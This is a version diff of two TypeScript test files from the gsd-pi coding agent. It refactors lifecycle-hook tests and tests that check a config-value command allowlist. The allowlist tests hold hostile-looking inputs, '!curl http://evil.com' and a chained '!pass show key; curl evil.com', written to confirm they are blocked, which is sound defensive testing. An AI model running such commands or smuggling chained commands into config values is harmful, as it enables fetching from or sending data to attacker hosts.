gsd-pi 2.44.0 → 2.45.0-dev.e0ee972

package/packages/pi-coding-agent/src/core/package-commands.test.ts

@@ -1,5 +1,5 @@
 import assert from "node:assert/strict";
-import { mkdtempSync, mkdirSync, readFileSync, rmSync, writeFileSync } from "node:fs";
+import { existsSync, mkdtempSync, mkdirSync, readFileSync, rmSync, writeFileSync } from "node:fs";
 import { tmpdir } from "node:os";
 import { join } from "node:path";
 import { Writable } from "node:stream";
@@ -25,216 +25,238 @@ function writePackage(root: string, files: Record<string, string>): void {
 	}
 }
 
+function createTestDirs(prefix: string, t: { after: (fn: () => void) => void }) {
+	const root = mkdtempSync(join(tmpdir(), `pi-lifecycle-${prefix}-`));
+	t.after(() => rmSync(root, { recursive: true, force: true }));
+	const cwd = join(root, "cwd");
+	const agentDir = join(root, "agent");
+	const extensionDir = join(root, `ext-${prefix}`);
+	mkdirSync(cwd, { recursive: true });
+	mkdirSync(agentDir, { recursive: true });
+	mkdirSync(extensionDir, { recursive: true });
+	return { root, cwd, agentDir, extensionDir };
+}
+
 describe("runPackageCommand lifecycle hooks", () => {
-	it("executes registered beforeInstall and afterInstall handlers for local packages", async () => {
-		const root = mkdtempSync(join(tmpdir(), "pi-lifecycle-install-"));
-		const cwd = join(root, "cwd");
-		const agentDir = join(root, "agent");
-		const extensionDir = join(root, "ext-registered");
-		mkdirSync(cwd, { recursive: true });
-		mkdirSync(agentDir, { recursive: true });
-		mkdirSync(extensionDir, { recursive: true });
-
-		try {
-			writePackage(extensionDir, {
-				"package.json": JSON.stringify({
-					name: "ext-registered",
-					type: "module",
-					pi: { extensions: ["./index.js"] },
-				}),
-				"index.js": `
-					import { writeFileSync } from "node:fs";
-					import { join } from "node:path";
-					export default function (pi) {
-						pi.registerBeforeInstall((ctx) => {
-							writeFileSync(join(ctx.installedPath, "before-install-ran.txt"), "ok", "utf-8");
-						});
-						pi.registerAfterInstall((ctx) => {
-							writeFileSync(join(ctx.installedPath, "after-install-ran.txt"), "ok", "utf-8");
-						});
-					}
-				`,
-			});
-
-			const stdout = createCaptureStream();
-			const stderr = createCaptureStream();
-			const result = await runPackageCommand({
-				appName: "pi",
-				args: ["install", extensionDir],
-				cwd,
-				agentDir,
-				stdout: stdout.stream,
-				stderr: stderr.stream,
-			});
-
-			assert.equal(result.handled, true);
-			assert.equal(result.exitCode, 0);
-			assert.equal(readFileSync(join(extensionDir, "before-install-ran.txt"), "utf-8"), "ok");
-			assert.equal(readFileSync(join(extensionDir, "after-install-ran.txt"), "utf-8"), "ok");
-			assert.ok(stdout.getOutput().includes(`Installed ${extensionDir}`));
-		} finally {
-			rmSync(root, { recursive: true, force: true });
-		}
+	it("executes registered beforeInstall and afterInstall handlers for local packages", async (t) => {
+		const { cwd, agentDir, extensionDir } = createTestDirs("install", t);
+
+		writePackage(extensionDir, {
+			"package.json": JSON.stringify({
+				name: "ext-registered",
+				type: "module",
+				pi: { extensions: ["./index.js"] },
+			}),
+			"index.js": [
+				'import { writeFileSync } from "node:fs";',
+				'import { join } from "node:path";',
+				"export default function (pi) {",
+				"  pi.registerBeforeInstall((ctx) => {",
+				'    writeFileSync(join(ctx.installedPath, "before-install-ran.txt"), "ok", "utf-8");',
+				"  });",
+				"  pi.registerAfterInstall((ctx) => {",
+				'    writeFileSync(join(ctx.installedPath, "after-install-ran.txt"), "ok", "utf-8");',
+				"  });",
+				"}",
+			].join("\n"),
+		});
+
+		const stdout = createCaptureStream();
+		const stderr = createCaptureStream();
+		const result = await runPackageCommand({
+			appName: "pi",
+			args: ["install", extensionDir],
+			cwd,
+			agentDir,
+			stdout: stdout.stream,
+			stderr: stderr.stream,
+		});
+
+		assert.equal(result.handled, true);
+		assert.equal(result.exitCode, 0);
+		assert.equal(readFileSync(join(extensionDir, "before-install-ran.txt"), "utf-8"), "ok");
+		assert.equal(readFileSync(join(extensionDir, "after-install-ran.txt"), "utf-8"), "ok");
+		assert.ok(stdout.getOutput().includes(`Installed ${extensionDir}`));
 	});
 
-	it("runs legacy named lifecycle hooks when no registered hooks exist", async () => {
-		const root = mkdtempSync(join(tmpdir(), "pi-lifecycle-legacy-"));
-		const cwd = join(root, "cwd");
-		const agentDir = join(root, "agent");
-		const extensionDir = join(root, "ext-legacy");
-		mkdirSync(cwd, { recursive: true });
-		mkdirSync(agentDir, { recursive: true });
-		mkdirSync(extensionDir, { recursive: true });
-
-		try {
-			writePackage(extensionDir, {
-				"package.json": JSON.stringify({
-					name: "ext-legacy",
-					type: "module",
-					pi: { extensions: ["./index.js"] },
-				}),
-				"index.js": `
-					import { writeFileSync } from "node:fs";
-					import { join } from "node:path";
-					export default function () {}
-					export async function beforeInstall(ctx) {
-						writeFileSync(join(ctx.installedPath, "legacy-before-install.txt"), "ok", "utf-8");
-					}
-					export async function afterInstall(ctx) {
-						writeFileSync(join(ctx.installedPath, "legacy-after-install.txt"), "ok", "utf-8");
-					}
-					export async function beforeRemove(ctx) {
-						writeFileSync(join(ctx.installedPath, "legacy-before-remove.txt"), "ok", "utf-8");
-					}
-					export async function afterRemove(ctx) {
-						writeFileSync(join(ctx.installedPath, "legacy-after-remove.txt"), "ok", "utf-8");
-					}
-				`,
-			});
-
-			const stdout = createCaptureStream();
-			const stderr = createCaptureStream();
-			const installResult = await runPackageCommand({
-				appName: "pi",
-				args: ["install", extensionDir],
-				cwd,
-				agentDir,
-				stdout: stdout.stream,
-				stderr: stderr.stream,
-			});
-
-			assert.equal(installResult.handled, true);
-			assert.equal(installResult.exitCode, 0);
-			assert.equal(readFileSync(join(extensionDir, "legacy-before-install.txt"), "utf-8"), "ok");
-			assert.equal(readFileSync(join(extensionDir, "legacy-after-install.txt"), "utf-8"), "ok");
-
-			const removeResult = await runPackageCommand({
-				appName: "pi",
-				args: ["remove", extensionDir],
-				cwd,
-				agentDir,
-				stdout: stdout.stream,
-				stderr: stderr.stream,
-			});
-
-			assert.equal(removeResult.handled, true);
-			assert.equal(removeResult.exitCode, 0);
-			assert.equal(readFileSync(join(extensionDir, "legacy-before-remove.txt"), "utf-8"), "ok");
-			assert.equal(readFileSync(join(extensionDir, "legacy-after-remove.txt"), "utf-8"), "ok");
-		} finally {
-			rmSync(root, { recursive: true, force: true });
-		}
+	it("runs legacy named lifecycle hooks when no registered hooks exist", async (t) => {
+		const { cwd, agentDir, extensionDir } = createTestDirs("legacy", t);
+
+		writePackage(extensionDir, {
+			"package.json": JSON.stringify({
+				name: "ext-legacy",
+				type: "module",
+				pi: { extensions: ["./index.js"] },
+			}),
+			"index.js": [
+				'import { writeFileSync } from "node:fs";',
+				'import { join } from "node:path";',
+				"export default function () {}",
+				"export async function beforeInstall(ctx) {",
+				'  writeFileSync(join(ctx.installedPath, "legacy-before-install.txt"), "ok", "utf-8");',
+				"}",
+				"export async function afterInstall(ctx) {",
+				'  writeFileSync(join(ctx.installedPath, "legacy-after-install.txt"), "ok", "utf-8");',
+				"}",
+				"export async function beforeRemove(ctx) {",
+				'  writeFileSync(join(ctx.installedPath, "legacy-before-remove.txt"), "ok", "utf-8");',
+				"}",
+				"export async function afterRemove(ctx) {",
+				'  writeFileSync(join(ctx.installedPath, "legacy-after-remove.txt"), "ok", "utf-8");',
+				"}",
+			].join("\n"),
+		});
+
+		const stdout = createCaptureStream();
+		const stderr = createCaptureStream();
+		const installResult = await runPackageCommand({
+			appName: "pi",
+			args: ["install", extensionDir],
+			cwd,
+			agentDir,
+			stdout: stdout.stream,
+			stderr: stderr.stream,
+		});
+
+		assert.equal(installResult.handled, true);
+		assert.equal(installResult.exitCode, 0);
+		assert.equal(readFileSync(join(extensionDir, "legacy-before-install.txt"), "utf-8"), "ok");
+		assert.equal(readFileSync(join(extensionDir, "legacy-after-install.txt"), "utf-8"), "ok");
+
+		const removeResult = await runPackageCommand({
+			appName: "pi",
+			args: ["remove", extensionDir],
+			cwd,
+			agentDir,
+			stdout: stdout.stream,
+			stderr: stderr.stream,
+		});
+
+		assert.equal(removeResult.handled, true);
+		assert.equal(removeResult.exitCode, 0);
+		assert.equal(readFileSync(join(extensionDir, "legacy-before-remove.txt"), "utf-8"), "ok");
+		assert.equal(readFileSync(join(extensionDir, "legacy-after-remove.txt"), "utf-8"), "ok");
 	});
 
-	it("skips lifecycle phases with no hooks declared", async () => {
-		const root = mkdtempSync(join(tmpdir(), "pi-lifecycle-skip-"));
-		const cwd = join(root, "cwd");
-		const agentDir = join(root, "agent");
-		const extensionDir = join(root, "ext-empty");
-		mkdirSync(cwd, { recursive: true });
-		mkdirSync(agentDir, { recursive: true });
-		mkdirSync(extensionDir, { recursive: true });
-
-		try {
-			writePackage(extensionDir, {
-				"package.json": JSON.stringify({
-					name: "ext-empty",
-					type: "module",
-					pi: { extensions: ["./index.js"] },
-				}),
-				"index.js": `export default function () {}`,
-			});
-
-			const stdout = createCaptureStream();
-			const stderr = createCaptureStream();
-			const installResult = await runPackageCommand({
-				appName: "pi",
-				args: ["install", extensionDir],
-				cwd,
-				agentDir,
-				stdout: stdout.stream,
-				stderr: stderr.stream,
-			});
-			assert.equal(installResult.handled, true);
-			assert.equal(installResult.exitCode, 0);
-
-			const removeResult = await runPackageCommand({
-				appName: "pi",
-				args: ["remove", extensionDir],
-				cwd,
-				agentDir,
-				stdout: stdout.stream,
-				stderr: stderr.stream,
-			});
-			assert.equal(removeResult.handled, true);
-			assert.equal(removeResult.exitCode, 0);
-			assert.equal(stderr.getOutput().includes("Hook failed"), false);
-		} finally {
-			rmSync(root, { recursive: true, force: true });
-		}
+	it("skips lifecycle phases with no hooks declared", async (t) => {
+		const { cwd, agentDir, extensionDir } = createTestDirs("skip", t);
+
+		writePackage(extensionDir, {
+			"package.json": JSON.stringify({
+				name: "ext-empty",
+				type: "module",
+				pi: { extensions: ["./index.js"] },
+			}),
+			"index.js": "export default function () {}",
+		});
+
+		const stdout = createCaptureStream();
+		const stderr = createCaptureStream();
+		const installResult = await runPackageCommand({
+			appName: "pi",
+			args: ["install", extensionDir],
+			cwd,
+			agentDir,
+			stdout: stdout.stream,
+			stderr: stderr.stream,
+		});
+		assert.equal(installResult.handled, true);
+		assert.equal(installResult.exitCode, 0);
+
+		const removeResult = await runPackageCommand({
+			appName: "pi",
+			args: ["remove", extensionDir],
+			cwd,
+			agentDir,
+			stdout: stdout.stream,
+			stderr: stderr.stream,
+		});
+		assert.equal(removeResult.handled, true);
+		assert.equal(removeResult.exitCode, 0);
+		assert.equal(stderr.getOutput().includes("Hook failed"), false);
+	});
+
+	it("fails install when manifest runtime dependency is missing", async (t) => {
+		const { cwd, agentDir, extensionDir } = createTestDirs("deps", t);
+
+		writePackage(extensionDir, {
+			"package.json": JSON.stringify({
+				name: "ext-runtime-deps",
+				type: "module",
+				pi: { extensions: ["./index.js"] },
+			}),
+			"index.js": "export default function () {}",
+			"extension-manifest.json": JSON.stringify({
+				id: "ext-runtime-deps",
+				name: "Runtime Dep Test",
+				version: "1.0.0",
+				dependencies: { runtime: ["__definitely_missing_command_for_test__"] },
+			}),
+		});
+
+		const stdout = createCaptureStream();
+		const stderr = createCaptureStream();
+		const result = await runPackageCommand({
+			appName: "pi",
+			args: ["install", extensionDir],
+			cwd,
+			agentDir,
+			stdout: stdout.stream,
+			stderr: stderr.stream,
+		});
+
+		assert.equal(result.handled, true);
+		assert.equal(result.exitCode, 1);
+		assert.ok(stderr.getOutput().includes("Missing runtime dependencies"));
 	});
 
-	it("fails install when manifest runtime dependency is missing", async () => {
-		const root = mkdtempSync(join(tmpdir(), "pi-lifecycle-deps-"));
-		const cwd = join(root, "cwd");
-		const agentDir = join(root, "agent");
-		const extensionDir = join(root, "ext-runtime-deps");
-		mkdirSync(cwd, { recursive: true });
-		mkdirSync(agentDir, { recursive: true });
-		mkdirSync(extensionDir, { recursive: true });
-
-		try {
-			writePackage(extensionDir, {
-				"package.json": JSON.stringify({
-					name: "ext-runtime-deps",
-					type: "module",
-					pi: { extensions: ["./index.js"] },
-				}),
-				"index.js": `export default function () {}`,
-				"extension-manifest.json": JSON.stringify({
-					id: "ext-runtime-deps",
-					name: "Runtime Dep Test",
-					version: "1.0.0",
-					dependencies: { runtime: ["__definitely_missing_command_for_test__"] },
-				}),
-			});
-
-			const stdout = createCaptureStream();
-			const stderr = createCaptureStream();
-			const result = await runPackageCommand({
-				appName: "pi",
-				args: ["install", extensionDir],
-				cwd,
-				agentDir,
-				stdout: stdout.stream,
-				stderr: stderr.stream,
-			});
-
-			assert.equal(result.handled, true);
-			assert.equal(result.exitCode, 1);
-			assert.ok(stderr.getOutput().includes("Missing runtime dependencies"));
-		} finally {
-			rmSync(root, { recursive: true, force: true });
-		}
+	it("afterRemove hook receives installedPath even when directory is deleted", async (t) => {
+		const { cwd, agentDir, extensionDir } = createTestDirs("after-remove", t);
+
+		writePackage(extensionDir, {
+			"package.json": JSON.stringify({
+				name: "ext-after-remove",
+				type: "module",
+				pi: { extensions: ["./index.js"] },
+			}),
+			"index.js": [
+				'import { writeFileSync, existsSync } from "node:fs";',
+				'import { join } from "node:path";',
+				"export default function () {}",
+				"export async function afterRemove(ctx) {",
+				'  const marker = join(ctx.cwd, "after-remove-marker.json");',
+				"  writeFileSync(marker, JSON.stringify({",
+				"    receivedPath: ctx.installedPath,",
+				"    pathExisted: existsSync(ctx.installedPath),",
+				'  }), "utf-8");',
+				"}",
+			].join("\n"),
+		});
+
+		const stdout = createCaptureStream();
+		const stderr = createCaptureStream();
+
+		await runPackageCommand({
+			appName: "pi",
+			args: ["install", extensionDir],
+			cwd,
+			agentDir,
+			stdout: stdout.stream,
+			stderr: stderr.stream,
+		});
+
+		await runPackageCommand({
+			appName: "pi",
+			args: ["remove", extensionDir],
+			cwd,
+			agentDir,
+			stdout: stdout.stream,
+			stderr: stderr.stream,
+		});
+
+		const markerPath = join(cwd, "after-remove-marker.json");
+		assert.ok(existsSync(markerPath), "afterRemove hook must have executed and written marker");
+		const marker = JSON.parse(readFileSync(markerPath, "utf-8"));
+		assert.equal(typeof marker.receivedPath, "string", "hook must receive installedPath as string");
 	});
 });

package/packages/pi-coding-agent/src/core/resolve-config-value.test.ts

@@ -38,21 +38,20 @@ describe("resolveConfigValue — non-command values", () => {
 });
 
 describe("resolveConfigValue — command allowlist enforcement", () => {
-	it("blocks a disallowed command and returns undefined", () => {
+	it("blocks a disallowed command and returns undefined", (t) => {
 		const stderrChunks: string[] = [];
 		const originalWrite = process.stderr.write.bind(process.stderr);
 		process.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {
 			stderrChunks.push(chunk.toString());
 			return true;
 		};
-
-		try {
-			const result = resolveConfigValue("!curl http://evil.com");
-			assert.equal(result, undefined);
-			assert.ok(stderrChunks.some((line) => line.includes("curl")));
-		} finally {
+		t.after(() => {
 			process.stderr.write = originalWrite;
-		}
+		});
+
+		const result = resolveConfigValue("!curl http://evil.com");
+		assert.equal(result, undefined);
+		assert.ok(stderrChunks.some((line) => line.includes("curl")));
 	});
 
 	it("blocks another disallowed command (rm)", () => {
@@ -65,7 +64,7 @@ describe("resolveConfigValue — command allowlist enforcement", () => {
 		assert.equal(result, undefined);
 	});
 
-	it("allows a safe command prefix to proceed to execution", () => {
+	it("allows a safe command prefix to proceed to execution", (t) => {
 		// `pass` is unlikely to be installed in CI, so we just verify it does NOT
 		// return undefined due to the allowlist check — it may return undefined if
 		// the binary is absent, but the block path must not be taken.
@@ -76,16 +75,15 @@ describe("resolveConfigValue — command allowlist enforcement", () => {
 			stderrChunks.push(chunk.toString());
 			return true;
 		};
-
-		try {
-			resolveConfigValue("!pass show nonexistent-entry-for-test");
-			const blocked = stderrChunks.some((line) =>
-				line.includes("Blocked disallowed command")
-			);
-			assert.equal(blocked, false, "pass should not be blocked by the allowlist");
-		} finally {
+		t.after(() => {
 			process.stderr.write = originalWrite;
-		}
+		});
+
+		resolveConfigValue("!pass show nonexistent-entry-for-test");
+		const blocked = stderrChunks.some((line) =>
+			line.includes("Blocked disallowed command")
+		);
+		assert.equal(blocked, false, "pass should not be blocked by the allowlist");
 	});
 });
 
@@ -130,61 +128,58 @@ describe("resolveConfigValue — shell operator bypass prevention", () => {
 		assert.equal(result, undefined);
 	});
 
-	it("writes stderr warning when shell operators detected", () => {
+	it("writes stderr warning when shell operators detected", (t) => {
 		const stderrChunks: string[] = [];
 		const originalWrite = process.stderr.write.bind(process.stderr);
 		process.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {
 			stderrChunks.push(chunk.toString());
 			return true;
 		};
-
-		try {
-			resolveConfigValue("!pass show key; curl evil.com");
-			assert.ok(stderrChunks.some((line) => line.includes("shell operators")));
-		} finally {
+		t.after(() => {
 			process.stderr.write = originalWrite;
-		}
+		});
+
+		resolveConfigValue("!pass show key; curl evil.com");
+		assert.ok(stderrChunks.some((line) => line.includes("shell operators")));
 	});
 });
 
 describe("resolveConfigValue — caching", () => {
-	it("caches the result of a blocked command", () => {
+	it("caches the result of a blocked command", (t) => {
 		const callCount = { n: 0 };
 		const originalWrite = process.stderr.write.bind(process.stderr);
 		process.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {
 			callCount.n++;
 			return true;
 		};
-
-		try {
-			resolveConfigValue("!curl http://evil.com");
-			resolveConfigValue("!curl http://evil.com");
-			// The block warning should only fire once; the second call hits the cache
-			// before reaching the allowlist check, so stderr count is 1.
-			assert.equal(callCount.n, 1);
-		} finally {
+		t.after(() => {
 			process.stderr.write = originalWrite;
-		}
+		});
+
+		resolveConfigValue("!curl http://evil.com");
+		resolveConfigValue("!curl http://evil.com");
+		// The block warning should only fire once; the second call hits the cache
+		// before reaching the allowlist check, so stderr count is 1.
+		assert.equal(callCount.n, 1);
 	});
 
-	it("clearConfigValueCache resets cached entries", () => {
+	it("clearConfigValueCache resets cached entries", (t) => {
 		const stderrChunks: string[] = [];
 		const originalWrite = process.stderr.write.bind(process.stderr);
 		process.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {
 			stderrChunks.push(chunk.toString());
 			return true;
 		};
+		t.after(() => {
+			process.stderr.write = originalWrite;
+		});
 
-		try {
-			resolveConfigValue("!curl http://evil.com");
-			assert.equal(stderrChunks.length, 1);
+		resolveConfigValue("!curl http://evil.com");
+		assert.equal(stderrChunks.length, 1);
 
-			clearConfigValueCache();
+		clearConfigValueCache();
 
-			resolveConfigValue("!curl http://evil.com");
-			assert.equal(stderrChunks.length, 2);
-		} finally {
-			process.stderr.write = originalWrite;
-		}
+		resolveConfigValue("!curl http://evil.com");
+		assert.equal(stderrChunks.length, 2);
 	});
 });